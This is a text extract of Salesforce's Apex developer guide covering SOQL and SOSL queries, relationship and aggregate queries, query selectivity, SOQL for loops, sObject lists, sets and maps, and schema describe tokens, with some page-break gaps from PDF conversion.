String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently, you must
dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a SOQL query, accesses
the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;

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// When only one result is returned in a SOQL query, it is not necessary

// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the query returns
an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];

Fields in records returned by SOSL queries must always be dereferenced.

Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was issued. Any
changes to other fields that are used within the formula are not reflected in the formula field value until the record has been saved and
re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot be changed in Apex.

Accessing sObject Fields Through Relationships

sObject records represent relationships to other records with two fields: an ID and an address that points to a representation of the
associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field of type Account
that points to the associated sObject record itself.
The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be used to
access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note).
For example, the following Apex code shows how an account and a contact can be associated with one another, and then how the
contact can be used to modify a field on the account:
Note: To provide the most complete example, this code uses some elements that are described later in this guide:
For information on insert and update, see Insert Statement on page 594 and Update Statement on page 594.
Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be
// updated separately
update c;
// This only changes the contact's last name
update c.Account; // This updates the account name

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SOQL Queries

Note: The expression c.Account.Name, and any other expression that traverses a relationship, displays slightly different
characteristics when it is read as a value than when it is modified:
When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield a
NullPointerException. This design allows developers to navigate multiple relationships without the tedium of having
to check for null values.
When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.
In SOSL, you would access data for the inserted contact in a similar way to the SELECT statement used in the previous SOQL example.
List<List<SObject>> searchList = [FIND 'Acme' IN ALL FIELDS RETURNING
Contact(id,Account.Name)]

In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;

This inserts a new contact with the AccountId equal to the account with the external_id equal to 12345. If there is no such
account, the insert fails.
Tip: The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If this code
was called multiple times, it could reach the execution limit for the maximum number of SOQL queries. For more information on
execution limits, see Execution Governors and Limits on page 273.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);
insert c;

Understanding Foreign Key and Parent-Child Relationship SOQL Queries

The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record joins. If foreign
key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);

Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {

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Contact c = a.Contacts;
}

Working with SOQL Aggregate Functions

Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more information
on aggregate functions, see Aggregate Functions in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function to
find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');

Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult is a
read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For example,
you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}

Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see Using Aliases with GROUP BY in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number
of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query.
If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the
query.

Working with Very Large SOQL Queries

Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];

Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here

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}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}

The following example demonstrates a SOQL query for loop thats used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}

Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 155.

More Efficient SOQL Queries

For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system
can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against
an object that contains more than 100,000 records. To avoid this error, ensure that the query is selective.
Selective SOQL Query Criteria
A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
The selectivity threshold is 10% of the first million records and less than 5% of the records after the first million records, up to a
maximum of 333,333 records. In some circumstances, for example with a query filter that is an indexed standard field, the
threshold can be higher. Also, the selectivity threshold is subject to change.
Custom Index Considerations for Selective SOQL Queries
The following fields are indexed by default.
Primary keys (Id, Name, and OwnerId fields)
Foreign keys (lookup or master-detail relationship fields)
Audit dates (CreatedDate and SystemModstamp fields)
RecordType fields (indexed for all standard objects that feature them)
Custom fields that are marked as External ID or Unique

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When the Salesforce optimizer recognizes that an index can improve performance for frequently run queries, fields that arent
indexed by default are automatically indexed.
Salesforce Support can add custom indexes on request for customers.
A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types dont always allow custom indexing.
You cant create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
Typically, a custom index isnt used in these cases.
The queried values exceed the system-defined threshold.
The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
Youre comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes cant be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries
To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 100,000 records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''

Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.

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Using SOQL Queries That Return One Record

SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an
expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime
exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;

Improving Performance by Not Searching on Null Values

In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance. In
the following example, any records where the treadID value is null are filtered out of the returned values.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
List<String> retVals = new List<String>();
Set<String> tagSet = new Set<String>();
Set<String> origTagSet = new Set<String>();
origTagSet.addAll(tags);
// Note WHERE clause verifies that threadId is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
threadID != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}

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return retVals;
}

Working with Polymorphic Relationships in SOQL Queries

A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];

Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END
FROM Event];

Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information
on enabling TYPEOF for your organization, contact Salesforce.
These queries will return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}

Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with
a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type
variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User
public static void processUser(User theUser) {
System.debug('Processed User');
}
// Utility method for a Group
public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {

152

SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {

code_block
}

or
for (variable_list : [soql_query]) {

code_block
}

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}

The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field

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for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database
update accs;

SOQL For Loops Versus Standard SOQL Queries

SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always
use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.
Note that queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing
an aggregate function that returns more than 2,000 rows in a for loop.

SOQL For Loop Formats

SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand
and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each
DML statement ends up processing only one sObject at a time.
The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more
difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
insert new Account[]{new Account(Name = 'yyy'),
new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;

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}
System.assert(j == 3); //
//
System.assert(i == 1); //
//
//

sObject Collections

The list should have contained the three accounts

named 'yyy'
Since a single batch can hold up to 200 records and,
only three records should have been returned, the
loop should have executed only once

// Revert the database to the original state

Database.rollback(sp);

Note:
The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it is possible to encounter runtime limit errors. See Execution Governors and Limits on page 273.
You might get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
}

To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}

sObject Collections
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();

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Auto-populating a List from a SOQL Query

You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data
type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

Adding and Retrieving List Elements

As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);
// Add the account sObject
Account a2 = myList.get(0);
// Retrieve the element at index 0

Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;

Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database
with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the
same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same
structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element
Account a = new Account();
List<Account> accs = new List<Account>{a, a};

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// Attempt to insert it...

insert accs;
// Will not get here
System.assert(false);
} catch (ListException e) {
// But will get here
}

Using Array Notation for One-Dimensional Lists of sObjects

Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];

This example adds an element to the list using square brackets.

accts[0] = new Account(Name='Acme2');

These are some additional examples of using the array notation with sObject lists.
Example
List<Account> accts = new Account[]{};

List<Account> accts = new Account[]

{new Account(), null, new
Account()};

List<Contact> contacts = new List<Contact>

Description
Defines an Account list with no elements.
Defines an Account list with memory allocated for three Accounts,
including a new Account object in the first position, null in the
second position, and another new Account object in the third
position.
Defines the Contact list with a new list.

(otherList);

Sorting Lists of sObjects

Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can
also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable
interface, as shown in Custom Sort Order of sObjects.

Default Sort Order of sObjects

The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.

Expanding sObject and List Expressions

As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

In the above, new Account[] generates a list.

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Sets of Objects

The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);

If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set
Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);

Warning: If set elements are objects, and these objects change after being added to the collection, they wont be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.

Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();

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Maps of sObjects

As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values wont change.

Auto-Populating Map Entries from a SOQL Query

When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared
with an ID or String data type, and the map value should be declared as an sObject data type.
This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}

One common usage of this map type is for in-memory joins between two tables.

Using Map Methods

The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account();
//Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct);
// Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1);
// Retrieve a value, given a particular key
Set<Integer> s = m.keySet();
// Return a set that contains all of the keys in the
map

sObject Map Considerations

Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isnt found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation wont yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{

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a1 => 1};
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));

Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger arent found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.

Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
Access Salesforce app information
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the apps label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from Force.com AppExchange.

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Understanding Apex Describe Information

You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
Tokena lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
The describeSObjects methoda method in the Schema class that performs describes on one or more sObject types.
Describe resultan object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.

Describing sObjects Using Tokens

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();

The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.

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Understanding Apex Describe Information

Using sObject Tokens

SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
Access the sObjectType member variable on an sObject type, such as Account.
Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.

In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;

The following also returns a token for the Account sObject:

Account a = new Account();
Schema.sObjectType t = a.getSObjectType();

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects
List<sObject> sobjList = new Account[]{};
// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.

Obtaining sObject Describe Results Using Tokens

To access the describe result for an sObject, use one of the following methods:
Call the getDescribe method on an sObject token.
Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.

The following example uses the getDescribe method on an sObject token:

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;

For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.

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Using Field Tokens

To access the token for a field, use one of the following methods:
Access the static member variable name of an sObject static type, for example, Account.Name.
Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;

In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();

Note: Field tokens aren't available for person accounts. If you access Schema.Account.<fieldname>, you'll get an exception error.
Instead, specify the field name as a string.

Using Field Describe Results

To access the describe result for a field, use one of the following methods:
Call the getDescribe method on a field token.
Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();

This example uses the fields member variable method:

Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
